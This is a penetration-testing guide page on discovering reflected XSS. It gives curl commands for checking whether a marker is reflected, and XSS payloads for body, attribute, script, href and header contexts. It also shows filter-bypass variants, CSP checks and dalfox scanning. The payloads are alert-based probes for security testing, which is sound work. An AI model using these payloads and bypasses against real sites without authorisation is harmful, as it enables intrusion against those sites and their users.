# Reflected XSS Checks

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/reflected-xss-checks
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-01-23
- **Updated:** 2026-03-28

Reflected XSS testing confirms whether user-supplied input is reflected in a response in an executable context. The goal at this stage is to confirm reflection, identify the injection context, and check whether CSP would block execution: not to deliver a full payload. Confirmed reflection moves to [reflected XSS exploitation](https://hackindex.io/services/web/exploitation/reflected-xss-exploitation).

## Confirm Reflection First

Send a unique marker before testing payloads. Confirm the marker appears verbatim in the response before investing time on payload tuning:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?q=XSSTEST123" | grep -n 'XSSTEST123'
# 42:<p>Results for: XSSTEST123</p>
```

If the marker reflects, check the surrounding context in the response (HTML body, attribute value, JavaScript string, or JSON) because the payload format depends on the context. Burp Repeater is useful here: modify individual parameters and instantly see where they land in the response to map all reflection points before testing payloads.

## Check the Injection Context

Pull the full response and look at where the input lands:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?q=XSSTEST123" | grep -B3 -A3 'XSSTEST123'
# <div class="results">
#   <p>Results for: XSSTEST123</p>
# </div>
```

The context determines the payload:

- HTML body: `<script>alert(1)</script>` or `<img src=x onerror=alert(1)>`
- HTML attribute: close the attribute first: `" onfocus=alert(1) autofocus="`
- JavaScript string: break out of the string: `'-alert(1)-'`
- JSON response: depends on how the frontend processes it

### JavaScript Context

When input reflects inside a `<script>` block or an inline event handler, break out of the enclosing string. Close the string delimiter, inject your payload, and comment out the trailing syntax to avoid errors:

```
';alert(document.domain)//
"-alert(document.domain)-"
</script><script>alert(document.domain)</script>
```

If the application uses ES6 template literals (backtick strings), expressions inside `${}` execute directly:

```
${alert(document.domain)}
```

Confirm the context by viewing the raw response source around your marker. A single-quoted JS string needs `'` to break out, a double-quoted one needs `"`.

### Attribute Context

When input reflects inside an HTML attribute value, close the attribute and inject an event handler. The `autofocus` attribute triggers the event without user interaction:

```
" onfocus=alert(document.domain) autofocus="
' onfocus=alert(document.domain) autofocus='
```

If angle brackets are filtered but quotes are not, event handlers are the way in. Check the source to see whether single or double quotes close the attribute. Some filters strip `on` prefixes: try mixed case (`oNfocus`) or newline insertion (`on%0afocus`) to bypass.

### URL/href Context

When input appears inside an `href`, `src`, or `action` attribute, the `javascript:` pseudo-protocol executes directly without needing to close the attribute:

```
javascript:alert(document.domain)
```

This applies when the application builds links from user input, for example in profile URLs or redirect parameters. If `javascript:` is filtered, try case variations (`jAvAsCrIpT:`) or newline injection (`java%0ascript:`).

### HTTP Header Reflection

Some applications reflect HTTP headers in the response body, for example in error pages or debug output. Test `User-Agent`, `Referer`, and custom headers as injection points:

```bash
curl -sk "http://$TARGET_IP:$PORT/" -H 'User-Agent: XSSTEST123' | grep 'XSSTEST123'
```

```bash
curl -sk "http://$TARGET_IP:$PORT/nonexistent" -H 'Referer: http://XSSTEST123/' | grep 'XSSTEST123'
```

Header-based reflection is easy to miss because scanners focus on URL and body parameters. If the marker reflects from a header, follow the same context analysis to determine the payload format.

## Test a Basic Payload

Send the URL-encoded payload and check whether the decoded form appears in the response. Execution is browser-side: curl confirms injection, not execution:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" | grep -i 'script'
# <p>Results for: <script>alert(document.domain)</script></p>
```

If the decoded script tag appears in the response without encoding, the injection is confirmed. Open in a browser to verify execution.

## Check for CSP

Grab the response headers to see whether a Content-Security-Policy is present. This determines how difficult exploitation will be:

```bash
curl -skI "http://$TARGET_IP:$PORT/index.php?q=test" | grep -i 'content-security-policy'
# content-security-policy: default-src 'self'; script-src 'self' https://cdn.example.com
```

No CSP header means inline scripts execute freely: the simplest payloads work. A CSP with `unsafe-inline` also means inline scripts execute. A strict CSP without `unsafe-inline` requires a CSP bypass, usually through a trusted domain with a JSONP endpoint or an open redirect.

## Automated Scanning with dalfox

dalfox finds reflected XSS across parameters quickly and handles encoding automatically. Use it after manual confirmation to catch additional injection points:

```bash
dalfox url "http://$TARGET_IP:$PORT/index.php?q=test"
```

```bash
dalfox url "http://$TARGET_IP:$PORT/index.php?q=test" --cookie "session=REPLACE_ME"
```

## POST Parameter Testing

POST parameters reflect just as often as GET. Test form fields and JSON bodies with the same marker approach:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/search -d 'query=XSSTEST123' | grep 'XSSTEST123'
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/search -H 'Content-Type: application/json' -d '{"query":"XSSTEST123"}' | grep 'XSSTEST123'
```

## References

- [dalfox](https://github.com/hahwul/dalfox) - Fast XSS scanning with context-aware payload generation
- [PayloadsAllTheThings: XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md) - Payload patterns organized by injection context